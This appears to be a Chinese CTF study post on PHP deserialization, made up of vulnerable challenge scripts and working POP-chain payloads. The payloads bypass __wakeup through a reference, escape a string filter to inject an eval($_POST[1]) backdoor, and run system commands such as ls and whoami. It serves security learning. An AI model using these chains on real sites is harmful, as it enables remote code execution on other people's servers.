关于反序列化漏洞的初探

wakeup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
ini_set("error_reporting", "E_ALL &amp; ~E_NOTICE");

class A
{
public $func;
public $end2;

public function __wakeup()
{
$this->end2 = "die";
}

public function __call($method, $args)
{
echo "begin";
}

public function __destruct()
{
$this->func = "system";
$waf = $this->end2;
$func = $this->func;
$waf();
$func($_GET["param"]);
}
}

class B
{
public $poc;

public function __destruct()
{
$this->poc->test();
}
}

$o = unserialize($_GET["poc"]);
print_r($o);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
<?php
error_reporting(0);
function filter($str){
$str=str_replace("getflag",'hark',$str);
return $str;

}
class Start{
public $start;
public $end;
public function __construct($start,$end)
{
$this->start=$start;
$this->end=$end;
}
}

class Go{

public function __destruct()
{
echo $this->ray;
}


}
class Get{
public $func;
public $name;
public function __get($name)
{
call_user_func($this->func,$name);

}

public function __toString()
{
$this->name->{$this->func};

}

}
class Done{
public $eval;
public $class;
public $use;
public $useless;
public function __invoke()
{
$this->use=$this->useless;
eval($this->eval);
}

public function __wakeup(){
$this->eval='no way';
}
}

if(isset($_GET['ciscn_huaibei.pop'])){
$pop=new start($_GET['ciscn_huaibei.pop'],$_GET['pop']);
$ser=filter(serialize($pop));
unserialize($ser);
}else{
highlight_file(__FILE__);
}
?>

// http://172.1.14.1/pop.php?ciscn[huaibei.pop=getflaggetflaggetflaggetflaggetflaggetflag&pop=;s:3:%22end%22;O:2:%22Go%22:1:{s:3:%22ray%22;O:3:%22Get%22:2:{s:4:%22func%22;s:9:%22phpinfo()%22;s:4:%22name%22;O:3:%22Get%22:2:{s:4:%22func%22;O:4:%22Done%22:4:{s:4:%22eval%22;s:16:%22eval($_POST[1]);%22;s:5:%22class%22;N;s:3:%22use%22;R:8;s:7:%22useless%22;s:16:%22eval($_POST[1]);%22;}s:4:%22name%22;s:1:%221%22;}}}}
1
http://172.1.14.1/pop.php?ciscn[huaibei.pop=getflaggetflaggetflaggetflaggetflaggetflag&pop=;s:3:"end";O:2:"Go":1:{s:3:"ray";O:3:"Get":2:{s:4:"func";s:9:"phpinfo()";s:4:"name";O:3:"Get":2:{s:4:"func";O:4:"Done":4:{s:4:"eval";s:16:"eval($_POST[1]);";s:5:"class";N;s:3:"use";R:8;s:7:"useless";s:16:"eval($_POST[1]);";}s:4:"name";s:1:"1";}}}}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class A
{
public $func;
public $end2;
}

class B
{
public $poc;
}


$test = new A();
$test->func = &$test->end2;
print_r(serialize($test));
1
/?poc=O:1:%22A%22:2:{s:4:%22func%22;N;s:4:%22end2%22;R:2;}&param=ls
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php

class one
{
public $object;
public $twotwo = array(0 => "CTF");
}

class second
{
public $filename;
}

class third
{
private $string;

public function __construct()
{
$this->string = array("string" => [new one(), "MeMeMe"]);
}
}

$a = new one();
$b = new one();
$c = new second();
$d = new third("haha");
$b->object = $d;
$c->filename = $b;
$a->object = $c;
$n = null;
$payload = array($a, $n);
echo urlencode(serialize($payload));
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
<?php

class alpha
{
public function __destruct()
{
$this->seclover->seclover();
}
}

abstract class beta
{
private $b = 1;

abstract protected function eval();

public function seclover()
{
var_dump($this->beta);
($this->beta)();
}
}

class omega extends beta
{
private $func;
protected $key;

public function __construct($func, $key)
{
$this->func = $func;
$this->key = $key;
}

protected function eval()
{
if (is_array($this->key)) {
($this->func)($this->key);
} else {
die("you know noting pop?");
}
}
}

class dollar
{
public $key;

public function eval($func)
{
var_dump($func);
$func($this->key);
}
}

$d = new dollar();
$d->key = 'whoami';
$c = new dollar();
$c->key = 'system';
$a = new omega([$c, 'eval'], [$d, 'eval']);
$a->beta = [$a, 'eval'];
$b = new alpha();
$b->seclover = $a;
echo base64_encode(serialize($b));

//$a= unserialize(base64_decode($_GET['a']));